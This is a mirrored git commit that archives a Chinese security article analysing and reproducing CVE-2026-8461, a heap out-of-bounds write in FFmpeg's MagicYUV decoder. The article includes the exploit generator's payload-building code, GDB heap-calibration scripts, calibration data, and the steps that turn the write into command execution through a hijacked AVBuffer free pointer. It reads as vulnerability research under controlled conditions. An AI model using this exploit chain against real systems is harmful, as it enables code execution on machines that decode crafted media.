mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
CVE-2026-8461（PixelSmash） - 分析及复现、“冬虫夏草”供应链漏洞影响数千家组织机构的代码仓库、逻辑漏洞之注册模块、Libssh2 严重漏洞可导致攻击者执行远程代码、从命令注入到凭据泄露，手把手教你复现命令行工具高危漏洞、信息安全漏洞周报（2026年第25期）、
This commit is contained in:
test committed
1 parent
6343998241
commit
93d8e7e695
7 files changed
+1965
-1
No files matched your search
@@ -21390,5 +21390,11 @@
|
||||
"https://mp.weixin.qq.com/s/YEm5YIvDE_8U7EZ4aeqcOQ": "关于规范 AI 辅助漏洞报告提交标准的公告",
|
||||
"https://mp.weixin.qq.com/s/pAhdg_YyZY-pMDA_5-muwg": "Anthropic 的 Mythos 模型在美国政府系统中发现漏洞",
|
||||
"https://mp.weixin.qq.com/s/Kp_lGaMx_tlm7uUbKFup2w": "用友U8 CRM getsrvtemplate.php SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/52YAM_DXiI9hE4eXddOVlw": "邮件服务器预警：Exchange 多个 SSRF 漏洞利用细节已公开"
|
||||
"https://mp.weixin.qq.com/s/52YAM_DXiI9hE4eXddOVlw": "邮件服务器预警：Exchange 多个 SSRF 漏洞利用细节已公开",
|
||||
"https://mp.weixin.qq.com/s/Xqd0CHRhVqbhKYXBZwu-Sw": "CVE-2026-8461（PixelSmash） - 分析及复现",
|
||||
"https://mp.weixin.qq.com/s/PfoHqQUojOONl1M4FMe0zw": "“冬虫夏草”供应链漏洞影响数千家组织机构的代码仓库",
|
||||
"https://mp.weixin.qq.com/s/LYqeuFLZr3VoeDQmHGL_PA": "逻辑漏洞之注册模块",
|
||||
"https://mp.weixin.qq.com/s/G9LnlaMKR93T9XGNU81hNQ": "Libssh2 严重漏洞可导致攻击者执行远程代码",
|
||||
"https://mp.weixin.qq.com/s/PX8h51A5vT8nglsayj0_tw": "从命令注入到凭据泄露，手把手教你复现命令行工具高危漏洞",
|
||||
"https://mp.weixin.qq.com/s/ElFbb2djZzUy6npR595KfA": "信息安全漏洞周报（2026年第25期）"
|
||||
}
|
||||
@@ -0,0 +1,448 @@
|
||||
# CVE-2026-8461（PixelSmash） - 分析及复现
|
||||
原创 Y5neKO
|
||||
Y5neKO Y5Sec 2026-06-24 07:36
|
||||
|
||||
|
||||
|
||||
# CVE-2026-8461（PixelSmash）— FFmpeg MagicYUV 解码器堆越界写入分析
|
||||
|
||||
CVE-2026-8461 是 FFmpeg MagicYUV 解码器中一处堆越界写入漏洞。通过精心构造的 AVI 文件可触发解码器将 640 字节数据写到 Cb 平面缓冲区末尾之外，在 ASLR 禁用、堆布局已知的条件下可进一步覆写 AVBuffer
|
||||
函数指针，从而在解码过程中执行任意命令。本文记录漏洞成因及在受控环境（ASLR=0，x86_64）下的完整利用过程。
|
||||
## 1. 漏洞概述
|
||||
|
||||
MagicYUV 是一种无损视频编解码器，FFmpeg 在 libavcodec/magicyuv.c
|
||||
中实现了其解码器。漏洞位于解码函数 magy_decode_slice()
|
||||
的 8 位格式处理路径。
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: color-mix(in srgb, #3f3f3f 5%, transparent);text-align: left;"><section><span leaf="">字段</span></section></th><th align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: color-mix(in srgb, #3f3f3f 5%, transparent);text-align: left;"><section><span leaf="">内容</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">CVE 编号</span></section></td><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">CVE-2026-8461</span></section></td></tr><tr><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">漏洞类型</span></section></td><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">堆越界写入（Heap OOB Write，CWE-122）</span></section></td></tr><tr><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">受影响版本</span></section></td><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">FFmpeg ≤ 8.0.1</span></section></td></tr><tr><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">利用结果</span></section></td><td align="left" style="border: 1px solid color-mix(in srgb, #3f3f3f 15%, transparent);padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">代码执行（PoC 条件：ASLR=0，堆布局已知）</span></section></td></tr></tbody></table>
|
||||
|
||||
复现环境：Ubuntu 20.04，内核 5.4.0-196-generic，x86_64，FFmpeg 8.0.1（gcc 9，-g -O0
|
||||
，含调试符号），glibc 2.31，ASLR 全局禁用（/proc/sys/kernel/randomize_va_space = 0
|
||||
）。
|
||||
## 2. 漏洞根本原因
|
||||
### 源码定位
|
||||
|
||||
漏洞在 libavcodec/magicyuv.c
|
||||
的 magy_decode_slice()
|
||||
函数中。该函数负责解码一个视频帧的单个 slice，对每个颜色平面分别处理行数据的写入。
|
||||
|
||||
**关键代码（magicyuv.c:261-315）：**
|
||||
```
|
||||
static int magy_decode_slice(AVCodecContext *avctx, void *tdata, int j, int threadnr){ const MagicYUVContext *s = avctx->priv_data; ... for (i = 0; i < s->planes; i++) { // 行 273：实际需要处理的行数——用 FFMIN 截断到图像剩余高度 int height = AV_CEIL_RSHIFT( FFMIN(s->slice_height, avctx->coded_height - j * s->slice_height), s->vshift[i]); // 行 275：标准 slice 高度——不考虑末尾截断 int sheight = AV_CEIL_RSHIFT(s->slice_height, s->vshift[i]); // 行 287：dst 指针使用 sheight 计算偏移 dst = p->data[i] + j * sheight * stride; if (flags & 1) { // 行 290：大小校验只检查 width * height（实际写入量） if (s->slices[i][j].size - 2 < width * height) return AVERROR_INVALIDDATA; // 行 292：循环按 height 行写入，但 dst 已经越界 for (k = 0; k < height; k++) { bytestream_get_buffer(&slice, dst, width); // ← OOB WRITE dst += stride; } } ... // 行 307-308：Left-prediction 原地解码 case LEFT: dst = p->data[i] + j * sheight * stride; s->llviddsp.add_left_pred(dst, dst, width, 0); }}
|
||||
```
|
||||
### 问题所在
|
||||
|
||||
height
|
||||
和 sheight
|
||||
的计算路径不同。height
|
||||
（行 273）先用 FFMIN
|
||||
将值限制在图像实际剩余行数以内，再右移；sheight
|
||||
（行 275）直接对 slice_height
|
||||
右移，不做截断。
|
||||
|
||||
dst
|
||||
指针（行 287）用的是 sheight
|
||||
，因此当处理最后一个 slice 时，如果图像高度不是 slice_height
|
||||
的整数倍，dst
|
||||
就会指向平面缓冲区末尾之外的位置。随后的循环（行 292）虽然只写 height
|
||||
行，但因为起始地址已经越界，写入的数据全部落在分配区域之外的堆内存上。
|
||||
|
||||
行 290 的大小校验只检查"写入量是否超过 slice 数据"，无法察觉 dst
|
||||
已经越界，所以校验形同虚设。
|
||||
## 3. 漏洞触发条件
|
||||
### 3.1 触发路径
|
||||
|
||||
magy_decode_slice()
|
||||
仅在 ffmpeg 的主解码循环中被调用，avformat_open_input
|
||||
或探测阶段不会触发完整解码。完整调用链：
|
||||
```
|
||||
ffmpeg -i evil.avi -f null - └─ 主解码循环 └─ avcodec_send_packet(dec_ctx, pkt) └─ decode_simple_internal() └─ magy_decode_frame() └─ avctx->execute2(avctx, magy_decode_slice, ...) └─ magy_decode_slice(avctx, tdata, j=1, threadnr) └─ bytestream_get_buffer() ← 640 字节 OOB 写入 └─ av_frame_unref(frame) └─ av_buffer_unref(frame->buf[1]) ← Cb 平面 AVBuffer └─ refcount: 1 → 0 └─ b->free(b->opaque, b->data) ← 劫持点
|
||||
```
|
||||
|
||||
-f null -
|
||||
是必须的输出描述符。不加输出时，ffmpeg 在打印流信息后直接退出，主解码循环不运行，av_buffer_unref
|
||||
不会在解码帧的 Cb 缓冲区上触发，劫持的 free
|
||||
指针永远不会被调用。
|
||||
### 3.2 帧几何参数
|
||||
|
||||
要触发越界写入，需要构造使最后一个 slice 的 Cb 颜色平面的 dst
|
||||
指针越过缓冲区末尾的 AVI 文件。
|
||||
|
||||
YUV420P 格式下，色度平面的 hshift=1
|
||||
，vshift=1
|
||||
：
|
||||
- • coded_width = 1280
|
||||
，色度宽度 = AV_CEIL_RSHIFT(1280, 1)
|
||||
= 640，stride = 640
|
||||
字节
|
||||
|
||||
- • coded_height = 32
|
||||
，色度高度 = AV_CEIL_RSHIFT(32, 1)
|
||||
= 16，Cb 缓冲区分配大小 = 640 × 16 = **10240 字节**
|
||||
|
||||
- • slice_height = 31
|
||||
|
||||
这组参数产生 2 个 slice（ceil(32/31) = 2
|
||||
）。对第二个 slice（j=1
|
||||
）的 Cb 平面：
|
||||
```
|
||||
sheight = AV_CEIL_RSHIFT(31, 1) = ceil(31/2) = 16remaining = 32 - 1×31 = 1height = AV_CEIL_RSHIFT(FFMIN(31, 1), 1) = AV_CEIL_RSHIFT(1, 1) = 1dst = Cb_data + j × sheight × stride = Cb_data + 1 × 16 × 640 = Cb_data + 10240 ← 恰好指向 Cb 缓冲区末尾之后
|
||||
```
|
||||
|
||||
dst
|
||||
越过末尾后，循环写入 1 行 × 640 字节 = **640 字节越界数据**
|
||||
，方向是堆的较高地址。
|
||||
|
||||
大小校验（magicyuv.c:290
|
||||
）检查的是 s->slices[i][j].size - 2 < width * height
|
||||
，即 slice 数据量是否不足 width × height
|
||||
字节。对 j=1 的 Cb 平面：width × height = 640 × 1 = 640
|
||||
。只要 AVI 文件中该 slice 提供 ≥ 642 字节的数据（我们控制文件内容，这是平凡的），校验就通过，写入照常进行，但起始地址已经越界。
|
||||
|
||||
写入完成后，add_left_pred
|
||||
（行 307-308）对写入区域进行 left-prediction 累加和解码。这意味着攻击者不能直接控制写到堆上的值，而必须先做逆变换，下文会详细说明。
|
||||
## 4. 利用链设计
|
||||
### 4.1 堆布局——OOB 落点
|
||||
|
||||
越界写入本身不足以构成 RCE，关键在于写入内容落在了什么地方。通过 GDB 在 magicyuv.c:291
|
||||
设置条件断点（j==1 && i==1
|
||||
），在 OOB 写入发生前转储堆内容：
|
||||
```
|
||||
(gdb) break magicyuv.c:291 if j==1 && i==1(gdb) run -i /tmp/exploit.avi -f null - 2>/dev/null(gdb) x/80gx dst
|
||||
```
|
||||
|
||||
OOB 起始地址为 0x5555556c5d80
|
||||
。在这个地址往后 640 字节的范围内，堆布局如下：
|
||||
```
|
||||
OOB+0x000 ~ +0x04f : 空闲内存（全零）← 用于放置 shell 命令字符串OOB+0x058 : Chunk A，size=0xa0，free，small binOOB+0x060 : Chunk A.fd → Chunk EOOB+0x068 : Chunk A.bk → glibc 主 arena small bin 头OOB+0x0f0 : Chunk B，prev_size=0xa0，size=0x40，allocatedOOB+0x100 : AVBuffer.data = 0x5555556c3580 ← Cb 像素数据OOB+0x108 : AVBuffer.size = 0x284fOOB+0x110 : AVBuffer.refcount = 0x1OOB+0x118 : AVBuffer.free = 0x55555560e0c0 ← av_buffer_default_free（待劫持）OOB+0x120 : AVBuffer.opaque = 0x5555556c5fc0 ← 待劫持OOB+0x138 : Chunk C，size=0x41，free，small binOOB+0x178 : Chunk D，size=0x20，allocated，含 AVBufferRefOOB+0x180 : AVBufferRef.buf = 0x5555556c5e80 → AVBufferOOB+0x188 : AVBufferRef.data = 0x5555556c3580OOB+0x198 : Chunk E，size=0xa0，free，small binOOB+0x1a0 : Chunk E.fd → Chunk A（形成双向链表）
|
||||
```
|
||||
|
||||
Cb 平面的 AVBuffer
|
||||
结构体恰好位于 OOB 区域内（OOB+0x100
|
||||
，即越界起点后 256 字节处）。
|
||||
|
||||
**为什么 AVBuffer 在 OOB+256？**
|
||||
|
||||
这来自 FFmpeg 帧缓冲区的分配顺序。magy_decode_frame()
|
||||
通过 ff_get_buffer()
|
||||
→ avcodec_default_get_buffer2()
|
||||
→ av_frame_get_buffer()
|
||||
为各颜色平面依次分配资源。以 Cb 平面（plane index 1）为例，av_buffer_alloc(cb_size)
|
||||
内部连续执行两次 malloc：
|
||||
1. 1. av_malloc(10240)
|
||||
→ Cb 像素数据块（glibc chunk，用户数据 10240 字节，即整个 Cb 缓冲区）
|
||||
|
||||
1. 2. av_malloc(sizeof(AVBuffer))
|
||||
→ AVBuffer 管理结构体（~0x30 字节）
|
||||
|
||||
ASLR=0 的条件下，glibc 堆分配完全确定——相同二进制、相同输入路径、相同 glibc 版本，每次运行的分配地址完全一致。Cb 数据块结束后，堆上不是直接紧跟 AVBuffer，而是夹着 Chunk A（一个 0xa0 字节的 free chunk，来自解码初始化期间某次 alloc/free 配对）以及 AVBuffer 所在 Chunk B 的 0x10 字节 glibc 头部，合计恰好 0x100 = 256 字节。Calibration 的作用就是自动捕获这一布局的精确偏移，无需从分配顺序推算。
|
||||
### 4.2 AVBuffer 函数指针劫持
|
||||
|
||||
AVBuffer
|
||||
结构定义于 libavutil/buffer_internal.h:38
|
||||
：
|
||||
```
|
||||
struct AVBuffer { uint8_t *data; // +0x00 size_t size; // +0x08 atomic_uint refcount; // +0x10 void (*free)(void *opaque, uint8_t *data); // +0x18 ← 劫持目标 void *opaque; // +0x20 ← 劫持目标 int flags; // +0x28};
|
||||
```
|
||||
|
||||
当 av_buffer_unref()
|
||||
将 refcount
|
||||
从 1 减到 0 时，它执行（libavutil/buffer.c:130
|
||||
）：
|
||||
```
|
||||
b->free(b->opaque, b->data);
|
||||
```
|
||||
|
||||
x86-64 调用约定下，第一个参数（b->opaque
|
||||
）放入 rdi
|
||||
，system()
|
||||
只读第一个参数。因此：
|
||||
1. 1. 将 AVBuffer.free
|
||||
覆写为 system()
|
||||
的地址
|
||||
|
||||
1. 2. 将 AVBuffer.opaque
|
||||
覆写为 shell 命令字符串所在堆地址（即 OOB+0x00
|
||||
）
|
||||
|
||||
1. 3. 保持 AVBuffer.refcount = 1
|
||||
，保证减到 0 后触发回调
|
||||
|
||||
帧被释放时，调用等价于：
|
||||
```
|
||||
system("id > /tmp/pwned");
|
||||
```
|
||||
### 4.3 Left-Prediction 逆变换
|
||||
|
||||
越界写入的数据在真正写到堆上之前，会被 add_left_pred
|
||||
做累加和解码：
|
||||
```
|
||||
decoded[0] = raw[0]decoded[i] = (decoded[i-1] + raw[i]) & 0xFF
|
||||
```
|
||||
|
||||
因此文件中存储的不能是期望出现在堆上的值，而必须是经过逆变换后的值。逆变换（exploit_cve_2026_8461.py
|
||||
中的 left_pred_encode()
|
||||
）为：
|
||||
```
|
||||
def left_pred_encode(desired: bytes) -> bytes: raw = bytearray(len(desired)) raw[0] = desired[0] for i in range(1, len(desired)): raw[i] = (desired[i] - desired[i-1]) & 0xFF return bytes(raw)
|
||||
```
|
||||
|
||||
写入 AVI 文件的是 left_pred_encode(desired)
|
||||
；add_left_pred
|
||||
解码后，堆上得到的是 desired
|
||||
——即我们精确控制的 payload。
|
||||
|
||||
add_left_pred
|
||||
每行以参数 0
|
||||
作为初始累加值（add_left_pred(dst, dst, width, 0)
|
||||
），因此 j=1 的 OOB 行与 j=0 的内容完全无关，逆变换只需针对 j=1 的 640 字节独立计算。j=0 的 Cb slice 在正常缓冲区范围内写入，填充全零像素是为了给解码器提供合法的像素数据，与 payload 无关。
|
||||
## 5. Exploit 生成器
|
||||
|
||||
exploit_cve_2026_8461.py
|
||||
将上述利用链封装为自动化工具。核心参数固定在脚本顶部：
|
||||
```
|
||||
WIDTH = 1280 # 色度宽度 640HEIGHT = 32 # 总行数SLICE_HEIGHT = 31 # 触发 OOB 的关键NB_SLICES = 2
|
||||
```
|
||||
|
||||
build_cb_oob_payload()
|
||||
按以下顺序构建 640 字节 payload：
|
||||
```
|
||||
payload = bytearray(640) # 全零基底# 1. OOB+0 处放 shell 命令（NUL 结尾）payload[0:len(cmd_bytes)] = cmd_bytes# 2. 写入 glibc chunk 元数据，防止堆结构被清零破坏for off, data in cal.glibc_metadata.items(): payload[off:off+len(data)] = data# 3. 覆写 AVBuffer 三个关键字段struct.pack_into('<I', payload, avb + 16, 1) # refcount = 1struct.pack_into('<Q', payload, avb + 24, cal.system_addr) # free = system()struct.pack_into('<Q', payload, avb + 32, cal.cmd_heap_addr) # opaque = 命令地址# 4. 写入需要保留的堆指针（优先级高于 glibc_metadata）for off, data in cal.preserve.items(): payload[off:off+len(data)] = data
|
||||
```
|
||||
|
||||
payload 经 left_pred_encode()
|
||||
后写入 AVI 文件的 Slice 1 数据区。同时，Cr 平面的越界区域写入 cr_metadata
|
||||
保留的 chunk 元数据，防止 Cr OOB 写入破坏堆。
|
||||
|
||||
AVI 容器由 build_avi()
|
||||
封装，slice_height
|
||||
字段写入 31（p32(SLICE_HEIGHT)
|
||||
），这是触发解码器走到漏洞路径的关键。
|
||||
## 6. 自动 Calibration
|
||||
|
||||
Calibration 记录了目标运行时的三类信息：system()
|
||||
的运行时地址、命令字符串落点（cmd_heap_addr
|
||||
）、以及 OOB 区域内每个 glibc chunk 的元数据。exploit 生成器依赖这些参数精确构建 payload。
|
||||
|
||||
ASLR 必须全局禁用才能使 calibration 有效：setarch -R
|
||||
只设置进程级 ADDR_NO_RANDOMIZE
|
||||
，只禁用栈随机化，堆和 mmap 区域（包括 libc）仍然随机。正确做法是 sudo sysctl -w kernel.randomize_va_space=0
|
||||
，禁用后同一二进制+同一输入路径每次运行的所有地址完全重现。
|
||||
### Calibration 数据格式
|
||||
|
||||
calibration.json
|
||||
包含两个关键字段，来源于 OOB 区域的堆分析：
|
||||
|
||||
**glibc_metadata**
|
||||
：OOB 写入后必须保持原值的 chunk size 字段（以 OOB 相对偏移为 key，little-endian hex 为 value）。payload 的全零基底会清空整个 640 字节区域；如果任何一个 chunk 的 size 字段（如 Chunk B 在 OOB+0xf8
|
||||
的 size=0x40
|
||||
）被清零，glibc 下次调用 malloc 时扫描堆就会遇到 size=0
|
||||
的异常 chunk，在 av_buffer_unref
|
||||
触发 system()
|
||||
之前就已经 abort。
|
||||
|
||||
**preserve**
|
||||
：必须保留原值的堆指针，包括 free chunk 的 fd/bk 链表指针（小端序，字节序写反即触发 corrupted double-linked list
|
||||
）和 AVBuffer/AVBufferRef 的 data/size 字段。preserve
|
||||
覆写优先级高于 glibc_metadata
|
||||
，最后写入 payload，确保不被覆盖。
|
||||
### auto_calibrate.py — 调试版（含 -g 符号）
|
||||
|
||||
**适用场景**
|
||||
：FFmpeg 从源码编译含 DWARF 调试信息（-g
|
||||
），或通过包管理器安装了 -dbg
|
||||
包。
|
||||
|
||||
该脚本利用 magicyuv.c:291
|
||||
的行号断点，在 OOB 写入发生之前捕获 Cb 和 Cr 平面的堆快照：
|
||||
```
|
||||
break magicyuv.c:291 if j==1 && i==1 ← Cb OOB 写入前commands 1 printf "==CB_OOB==\n" printf "ADDR=0x%lx\n", (unsigned long)dst x/80gx dst ← 转储 640 字节 printf "==END_CB==\n" continueendbreak magicyuv.c:291 if j==1 && i==2 ← Cr OOB 写入前commands 2 ... printf "SYSTEM=0x%lx\n", (unsigned long)&system ...end
|
||||
```
|
||||
|
||||
断点在写入之前触发，堆处于干净状态。Python 解析转储后，通过以下两步找到 AVBuffer：
|
||||
|
||||
**遍历 glibc chunk**
|
||||
（walk_chunks()
|
||||
）：扫描每个 8 字节对齐位置，检查 size_field
|
||||
是否构成合法 chunk 头（32 ≤ size ≤ 65536，16 字节对齐，无 IS_MMAPPED/NON_MAIN_ARENA 标志），同时验证 next chunk 合法，并通过 next_chunk.PREV_INUSE == 0
|
||||
判断当前 chunk 是否为 free。
|
||||
|
||||
**识别 AVBuffer**
|
||||
（find_avbuffer()
|
||||
）：在 allocated chunk 的用户数据区寻找满足以下条件的结构：data
|
||||
是有效指针，size
|
||||
为合理正整数，refcount == 1
|
||||
，free
|
||||
是代码段地址。
|
||||
|
||||
**用法**
|
||||
：
|
||||
```
|
||||
sudo sysctl -w kernel.randomize_va_space=0python3 auto_calibrate.py \ --ffmpeg /path/to/ffmpeg-with-debug \ --avi /tmp/exploit.avi \ -o calibration.json
|
||||
```
|
||||
|
||||
**输出**
|
||||
：
|
||||
```
|
||||
[*] Generating probe AVI -> /tmp/exploit.avi[*] Running GDB probe (ffmpeg=/tmp/ffmpeg-8.0.1/ffmpeg)...[*] Building calibration... chunks: OOB+0x50: size=0xa0 FREE OOB+0xf0: size=0x40 ALLOC OOB+0x130: size=0x40 FREE OOB+0x170: size=0x20 ALLOC OOB+0x190: size=0xa0 FREE AVBuffer @ OOB+0x100: data=0x5555556c3580, free=0x55555560e0c0 AVBufferRef @ OOB+0x180 Cr: 1 chunk(s) preserved[+] calibration.json system() = 0x7ffff7c89290 avbuf_at = 256 entries = 6 metadata, 12 preserve
|
||||
```
|
||||
### auto_calibrate_nosym.py — 生产版（无调试符号）
|
||||
|
||||
**适用场景**
|
||||
：apt install ffmpeg
|
||||
等方式安装的 stripped 二进制，或以 --enable-shared --enable-stripping
|
||||
编译的动态链接版本。这类二进制 .symtab
|
||||
为空，行号断点无法使用。
|
||||
|
||||
生产版脚本改用两个不需要调试符号的 GDB 技术。
|
||||
|
||||
**Phase 1 — 在 av_buffer_create 入口捕获数据指针**
|
||||
|
||||
av_buffer_create(uint8_t *data, size_t size, ...)
|
||||
是 libavutil 的公开 API，无论是否 strip 都保留在 libavutil.so
|
||||
的 .dynsym
|
||||
中。在函数入口处（x86_64 的 $rdi
|
||||
/$rsi
|
||||
，aarch64 的 $x0
|
||||
/$x1
|
||||
），data
|
||||
和 size
|
||||
参数直接可读，无需 finish
|
||||
。脚本读取目标二进制的 ELF e_machine 字段自动选择正确的寄存器名称：
|
||||
```
|
||||
def abi_regs(e_machine: int) -> tuple: if e_machine == EM_AARCH64: return '$x0', '$x1' if e_machine == EM_ARM: return '$r0', '$r1' return '$rdi', '$rsi' # x86_64
|
||||
```
|
||||
|
||||
通过大小过滤（CB_SIZE_MIN=8192
|
||||
到 CB_SIZE_MAX=20480
|
||||
），捕获所有 Cb/Cr 缓冲区的分配地址作为候选。
|
||||
|
||||
**Phase 2 — 硬件写监视点截获堆快照**
|
||||
|
||||
对每个候选地址的 Cb_data + OOB_OFFSET
|
||||
（10240 字节）设置硬件写监视点：
|
||||
```
|
||||
watch *(char*)(OOB_START)
|
||||
```
|
||||
|
||||
监视点在 OOB 写入的第一个字节后触发。此时 OOB+1 以后的堆内容完整，从 OOB+8
|
||||
开始转储 79 个 qword（共 632 字节，跳过已被写入的首字节）。转储中出现合法 glibc chunk 的候选即为真正的 Cb OOB 起点，其余候选（Cr 缓冲区）另行探测。system()
|
||||
地址通过 printf "SYSTEM=0x%lx\n", (unsigned long)&system
|
||||
读取，无需任何调试符号。
|
||||
|
||||
**用法**
|
||||
：
|
||||
```
|
||||
sudo sysctl -w kernel.randomize_va_space=0# 系统安装版（apt/yum）python3 auto_calibrate_nosym.py --avi /tmp/exploit.avi -o calibration.json# 非标准路径安装（指定库目录）python3 auto_calibrate_nosym.py \ --ffmpeg /opt/ffmpeg/bin/ffmpeg \ --libpath /opt/ffmpeg/lib \ --avi /tmp/exploit.avi \ -o calibration.json
|
||||
```
|
||||
|
||||
**输出（生产版 FFmpeg 8.0.1，stripped，动态链接）**
|
||||
：
|
||||
```
|
||||
[*] Generating probe AVI -> /tmp/exploit_prod.avi[*] Phase 1: locating Cb/Cr buffer addresses... 2 candidate(s): 0x5555555c5440 size=10319 -> OOB 0x5555555c7c40 0x5555555fdf40 size=10319 -> OOB 0x555555600740[*] Phase 2: verifying OOB start via hardware watchpoint... [1/2] testing 0x5555555c7c40 ... valid — 6 chunks found, system=0x7ffff4f21290[*] Phase 2b: probing Cr region 0x555555600740 ... Cr: 1 chunk(s) preserved[*] Building calibration... chunks: OOB+0x50: size=0x70 ALLOC OOB+0xc0: size=0x30 ALLOC OOB+0xf0: size=0x40 ALLOC OOB+0x130: size=0x40 ALLOC OOB+0x170: size=0x20 ALLOC OOB+0x190: size=0x70 ALLOC AVBuffer @ OOB+0x100: data=0x5555555c5440, free=0x7ffff52880c0 AVBufferRef @ OOB+0x180[+] calibration.json system() = 0x7ffff4f21290 avbuf_at = 256 entries = 6 metadata, 5 preserve
|
||||
```
|
||||
|
||||
生产版（-O2
|
||||
）与调试版（-O0 -g
|
||||
）的 chunk 结构完全不同（size=0x70
|
||||
vs size=0xa0
|
||||
等），这说明两套 calibration 脚本不能混用，也说明手工记录 chunk 布局在不同编译选项下无法通用。
|
||||
### AVI 路径必须一致
|
||||
|
||||
probe 和 exploit 必须使用完全相同的 AVI 路径。avformat_open_input
|
||||
在内部对输入路径做 av_strdup()
|
||||
，将路径字符串拷贝到堆上。路径长度不同意味着 strdup malloc chunk 的大小不同，后续所有分配的地址随之偏移，calibration 记录的 cmd_heap_addr
|
||||
和所有 chunk 偏移立即失效。
|
||||
|
||||
实验中曾用 /tmp/_auto_calibrate_probe.avi
|
||||
（29 字符）作为 probe 路径，而用 /tmp/exploit.avi
|
||||
（16 字符）投递 exploit，结果 cmd_heap_addr
|
||||
偏移 0x40，所有 chunk 边界偏移，触发 corrupted double-linked list
|
||||
。两个脚本均通过 --avi
|
||||
参数强制 probe 与 exploit 使用同一绝对路径（默认 /tmp/exploit.avi
|
||||
）。
|
||||
### Calibration 文件示例
|
||||
|
||||
以下为调试版 FFmpeg 8.0.1（Ubuntu 20.04，glibc 2.31，ASLR=0，AVI 路径 /tmp/exploit.avi
|
||||
）上生成的完整 calibration：
|
||||
```
|
||||
{ "system_addr": "0x7ffff7c89290", "cmd_at": 0, "cmd_maxlen": 88, "avbuffer_at": 256, "avb_refcount_off": 16, "avb_free_off": 24, "avb_opaque_off": 32, "cmd_heap_addr": "0x5555556c5d80", "glibc_metadata": { "0x58": "a100000000000000", "0xf0": "a000000000000000", "0xf8": "4000000000000000", "0x110": "0100000000000000", "0x138": "4100000000000000", "0x198": "a100000000000000" }, "cr_metadata": { "0x50": "5100000000000000", "0xa0": "a149000000000000" }, "preserve": { "0x60": "105f6c5555550000", "0x68": "703ce2f7ff7f0000", "0x100": "80356c5555550000", "0x108": "4f28000000000000", "0x140": "b0086c5555550000", "0x148": "103ce2f7ff7f0000", "0x170": "4000000000000000", "0x178": "2000000000000000", "0x180": "805e6c5555550000", "0x188": "80356c5555550000", "0x190": "4f28000000000000", "0x1a0": "500b6c5555550000", "0x1a8": "d05d6c5555550000" }}
|
||||
```
|
||||
## 7. 复现验证
|
||||
|
||||
生成 exploit AVI：
|
||||
```
|
||||
python3 exploit_cve_2026_8461.py \ --calibration calibration.json \ --cmd "id > /tmp/pwned" \ -o /tmp/exploit.avi
|
||||
```
|
||||
```
|
||||
[+] /tmp/exploit.avi (61 KB, 1 frame(s)) cmd: id > /tmp/pwned ffmpeg -i /tmp/exploit.avi -f null - expected: command executes, then process crashes
|
||||
```
|
||||
|
||||
触发：
|
||||
```
|
||||
ffmpeg -i /tmp/exploit.avi -f null -# ...# corrupted size vs. prev_size ← 预期崩溃，system() 已完成cat /tmp/pwneduid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),...
|
||||
```
|
||||
|
||||
进程崩溃在 system()
|
||||
成功返回后——system()
|
||||
内部调用 malloc 时遇到已被 exploit 修改过的堆结构，触发次级崩溃，但命令已执行完毕。
|
||||
|
||||
完整执行时序：
|
||||
```
|
||||
ffmpeg -i exploit.avi -f null - └─ avformat_find_stream_info() └─ magy_decode_slice(j=1, i=1) ├─ dst = Cb_data + 10240 （越过 Cb 缓冲区末尾） ├─ bytestream_get_buffer() 640 字节 OOB 写入（raw 编码） └─ add_left_pred() left-prediction 解码 → 堆上出现期望值 ├─ AVBuffer.free = system() └─ AVBuffer.opaque = "id > /tmp/pwned" 地址 └─ 帧清理：av_buffer_unref(Cb_buf) └─ refcount: 1 → 0 └─ b->free(b->opaque, b->data) = system("id > /tmp/pwned")
|
||||
```
|
||||
|
||||
|
||||
|
||||
成功写入文件。
|
||||
## 8. 架构支持
|
||||
|
||||
本 PoC 在 **x86_64**
|
||||
上开发和验证。aarch64 上的情况不同。
|
||||
|
||||
通过 auto_calibrate_nosym.py
|
||||
在 aarch64 系统上测试，Phase 1 和 Phase 2 均能正常触发（av_buffer_create
|
||||
断点命中，硬件监视点在 OOB 写入时触发），确认漏洞在 aarch64 上也存在。但 Phase 2 的堆转储中找不到有效的 glibc chunk，calibration 无法完成。
|
||||
|
||||
原因在于堆布局不同。在 aarch64 上，Cb 缓冲区（~10272 字节）被分配为一个 ~10288 字节的 glibc chunk。OOB_START = Cb_data + 10240
|
||||
落在该 chunk 末尾 32 字节处，紧接着的下一个 chunk 是 Cr 缓冲区（同样 ~10288 字节）。这个大 chunk 的 next_off = 32 + 10288 = 10320
|
||||
，远超 640 字节的转储窗口，walk_chunks()
|
||||
无法验证链有效。更根本的问题是：OOB 写入只有 640 字节，而 AVBuffer 在 aarch64 的堆布局中位于 OOB+10320
|
||||
以外，写入内容根本触达不到 AVBuffer——不只是 calibration 失败，exploit 本身也不可行。
|
||||
|
